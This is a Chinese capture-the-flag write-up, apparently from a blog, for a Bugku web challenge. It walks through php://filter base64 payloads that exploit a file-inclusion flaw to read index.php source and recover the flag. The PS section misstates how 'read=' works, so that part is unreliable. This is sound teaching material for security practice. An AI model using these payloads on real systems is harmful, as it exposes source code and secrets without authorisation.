解题思路
- 你说啥我就干啥:点击一下试试
- 你会想到PHP伪协议这方面去嘛,你有这方面的知识储备吗?
- 看到?file=XXX.php,那不就是典型的文件包含吗?
- 这里需要用的一个伪协议
php://filter
:是一种元封装器, 设计用于数据流打开时的筛选过滤应用。
可以使用php://filter
获取指定文件源码: -
?file=php://filter/resource=xxx.php
发现啥也没有显示,这是因为:
通常获取源代码时,伪协议将xxx.php当文件执行,使得很多信息往往不能直接显示在浏览器页面上,通常使用base64编码后再显示
?file=php://filter/convert.base64-encode/resource=index.php
convert.base64-encode:是一个过滤器,看到encode可以知道这是一个加密的过滤,那自然就有convert.base64-decode,解密了。简单来说就是:对数据流进行编码,通常用来读取文件源码。
这样做的好处就是如果不进行编码,文件包含后就不会有输出结果,而是当做php文件执行了,而通过编码后则可以读取文件源码。
这里对资源文件show.php进行加密了,所以显示:
aW5kZXgucGhw
加上==后进行base64解密就可以复现:(index.php)
现内容就是index.php,说明show.php没有隐藏信息。
所以同理,对index.php使用伪协议执行一下:
http://114.67.175.224:15954/?file=php://filter/convert.base64-encode/resource=index.php
可以看到一串很长的东西,但注意最后的==,必须下意识去解密看看:
77u/PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LXdlYjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2M2ZjMwYWZiMDJkYmU2YTU5ODMzODZjNWQzZTA0MTJjfQ0KPz4NCjwvaHRtbD4NCg==
<html>
<title>Bugku-web</title>
<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{c6f30afb02dbe6a5983386c5d3e0412c}
?>
</html>
可以看到注释有flag了
PS:
参考其他WP发现都使用了一个read=
,这是啥?
可以看到,说是这个参数可以不选,在PHP伪协议中,read是一个用于读取文件内容的操作符。它可以与伪协议中的其他操作符结合使用,用于读取文件的特定部分或指定偏移量的内容。
使用read操作符时,你需要指定一个文件路径和一个长度参数。read操作符将返回指定长度的文件内容。
?file=php://filter/read=convert.base64-encode/resource=index.php
1
稍微解释下这个做法:
php://filter/ 是一种访问本地文件的协议
/read=convert.base64-encode/ 表示读取的方式是 base64 编码后
resource=index.php 表示目标文件为index.php。
问什么要进行 base64 编码呢?如果不进行 base64 编码传入,index.php 就会直接执行,我们就看不到文件中的内容了。
得到Flag
原文链接:https://blog.csdn.net/qq_36292543/article/details/136155292